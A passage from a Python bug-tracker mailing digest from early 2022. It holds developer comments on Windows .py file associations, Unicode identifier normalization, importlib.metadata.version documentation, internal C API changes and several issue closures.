"ProgId" (programmatic identifier) value with the data "Python.File". This sets the "Python.File" ProgID as the locked-in user choice for ".py" files. In the GUI, you can set this in the open-with dialog by selecting "always use this app to open .py files". The selected app should be "Python", with an icon that contains the Python logo and a rocket (the launcher). If ".py" isn't the locked-in user choice, the shell API will use the most recent user selection in the open-with menu. If there's no user selection, the default association is calculated from "HKCR\.py", which is a merged view of "[HKCU|HKLM]\Software\Classes\.py". The default value of "HKCR\.py" sets the default file association. Ideally it should be "Python.File". "HKCR\Python.File" is a merged view of "[HKCU|HKLM]\Software\Classes\Python.File". For the merged view, if a value name is defined in the same subkey of HKCU and HKLM, the view prefers the HKCU value. There should be a subkey named "shell\editwithidle\shell". It should define one or more subkeys named "edit3*", such as "edit310". Each should contain a "MUIVerb" value that sets the command description in the "open-with" menu. There should also be a "command" subkey that contains the template command as its default value, e.g. ""C:\Program Files\Python310\pythonw.exe" -m idlelib "%L" %*". ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:41:18 2022 From: report at bugs.python.org (James Gerity) Date: Tue, 01 Feb 2022 00:41:18 +0000 Subject: [issue46555] Unicode-mangled names refer inconsistently to constants In-Reply-To: <1643320642.51.0.743138920796.issue46555@roundup.psfhosted.org> Message-ID: <1643676078.45.0.911726926812.issue46555@roundup.psfhosted.org> James Gerity added the comment: > Why was it decided to not raise a syntax error... I'm not sure if such a decision was even ever made, the error happens before normalization is applied. I.e. the parser is doing two things here: (1) validating the syntax against the grammar and (2) building the AST. Normalization happens after (1), and `???? = 0` is valid syntax because the grammar is NOT defined in terms of normalized identifiers, it's describing the valid (but confusing!) assignment that Carl described. I agree that this doesn't seem like bug, but it IS my new favorite quirk of identifier normalization. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:45:26 2022 From: report at bugs.python.org (cowlinator) Date: Tue, 01 Feb 2022 00:45:26 +0000 Subject: [issue46595] [doc] Undocumented behavior of importlib.metadata.version Message-ID: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org> New submission from cowlinator : If `importlib.metadata.version` can't find the distribution version, it seems to return the result of a local `git describe`. I don't know if this is git-specific, or which other SCMs this might try to interact with. The result of `importlib.metadata.version` varies depending on whether the local directory happens to be a git repo. This is unexpected and undocumented. Based on the documentation, I expected that when it couldn't find the distribution version, it would ALWAYS raise and exception or return nothing. In order to properly document this, you'll have to figure out all of the SCMs that it might interact with. ---------- assignee: docs at python components: Documentation messages: 412227 nosy: cowlinator, docs at python priority: normal severity: normal status: open title: [doc] Undocumented behavior of importlib.metadata.version type: behavior versions: Python 3.10, Python 3.11, Python 3.8, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:48:59 2022 From: report at bugs.python.org (cowlinator) Date: Tue, 01 Feb 2022 00:48:59 +0000 Subject: [issue46595] [doc] Undocumented behavior of importlib.metadata.version In-Reply-To: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org> Message-ID: <1643676539.26.0.879933552833.issue46595@roundup.psfhosted.org> cowlinator added the comment: I'd also like to know which `git describe` args it's using ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 19:56:00 2022 From: report at bugs.python.org (Eric Snow) Date: Tue, 01 Feb 2022 00:56:00 +0000 Subject: [issue46541] Replace _Py_IDENTIFIER() with statically initialized objects. In-Reply-To: <1643234464.46.0.949364478641.issue46541@roundup.psfhosted.org> Message-ID: <1643676960.51.0.767440761081.issue46541@roundup.psfhosted.org> Eric Snow added the comment: If necessary, we can keep _Py_IDENTIFIER() (and the functions). Regardless, we can stop using it internally. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 20:00:53 2022 From: report at bugs.python.org (cowlinator) Date: Tue, 01 Feb 2022 01:00:53 +0000 Subject: [issue46595] [doc] Undocumented behavior of importlib.metadata.version In-Reply-To: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org> Message-ID: <1643677253.01.0.0922870072819.issue46595@roundup.psfhosted.org> cowlinator added the comment: nevermind, i was just being stupid. the git describe wound up in a local egg or build metadata which i guess is where importlib.metadata.version pulls from ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 20:01:05 2022 From: report at bugs.python.org (cowlinator) Date: Tue, 01 Feb 2022 01:01:05 +0000 Subject: [issue46595] [doc] Undocumented behavior of importlib.metadata.version In-Reply-To: <1643676326.7.0.597528878626.issue46595@roundup.psfhosted.org> Message-ID: <1643677265.1.0.513798472834.issue46595@roundup.psfhosted.org> Change by cowlinator : ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 20:08:45 2022 From: report at bugs.python.org (STINNER Victor) Date: Tue, 01 Feb 2022 01:08:45 +0000 Subject: [issue43540] importlib: Document how to replace load_module() in What's New in Python 3.10 In-Reply-To: <1616062773.63.0.458155955758.issue43540@roundup.psfhosted.org> Message-ID: <1643677725.6.0.229935148846.issue43540@roundup.psfhosted.org> STINNER Victor added the comment: Python 3.10 is released. It's too late, I close the issue. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 20:14:45 2022 From: report at bugs.python.org (Dennis Sweeney) Date: Tue, 01 Feb 2022 01:14:45 +0000 Subject: [issue45885] Specialize COMPARE_OP In-Reply-To: <1637701224.16.0.881347004039.issue45885@roundup.psfhosted.org> Message-ID: <1643678085.52.0.804612647755.issue45885@roundup.psfhosted.org> Change by Dennis Sweeney : ---------- pull_requests: +29223 pull_request: https://github.com/python/cpython/pull/31040 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 20:28:46 2022 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 01 Feb 2022 01:28:46 +0000 Subject: [issue26276] Inconsistent behaviour of PEP 3101 formatting between versions In-Reply-To: <1454499550.19.0.0724839464997.issue26276@psf.upfronthosting.co.za> Message-ID: <1643678926.44.0.968145459812.issue26276@roundup.psfhosted.org> Eric V. Smith added the comment: I'm going to close this issue. The behavior might be inconsistent with 2.7, but I don't think that matters any more. ---------- resolution: -> wont fix stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 21:41:40 2022 From: report at bugs.python.org (wyz23x2) Date: Tue, 01 Feb 2022 02:41:40 +0000 Subject: [issue41266] IDLE call hints and completions confused by ints and floats In-Reply-To: <1594370995.93.0.883531134582.issue41266@roundup.psfhosted.org> Message-ID: <1643683300.72.0.354525546962.issue41266@roundup.psfhosted.org> wyz23x2 added the comment: Ping, this issue is 571 days old. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Mon Jan 31 22:59:42 2022 From: report at bugs.python.org (Jelle Zijlstra) Date: Tue, 01 Feb 2022 03:59:42 +0000 Subject: [issue45325] Allow "p" in Py_BuildValue In-Reply-To: <1632938884.37.0.882166671136.issue45325@roundup.psfhosted.org> Message-ID: <1643687982.98.0.923521003472.issue45325@roundup.psfhosted.org> Jelle Zijlstra added the comment: I stumbled upon the PR and tend to agree with Serhiy that this could be a source of nasty bugs. Passing the wrong type to a va_arg() argument is undefined behavior (e.g. https://wiki.sei.cmu.edu/confluence/display/c/EXP47-C.+Do+not+call+va_arg+with+an+argument+of+the+incorrect+type), and it does seem easy to do that by accident for an int-like type. For printf() compilers implement custom checks that make sure the types are right, but we don't get that luxury with Py_BuildValue(). It's also easy to make a bool yourself with the O code and Py_True/Py_False, so I don't think the additional code is worth the risk. ---------- nosy: +Jelle Zijlstra _______________________________________ Python tracker _______________________________________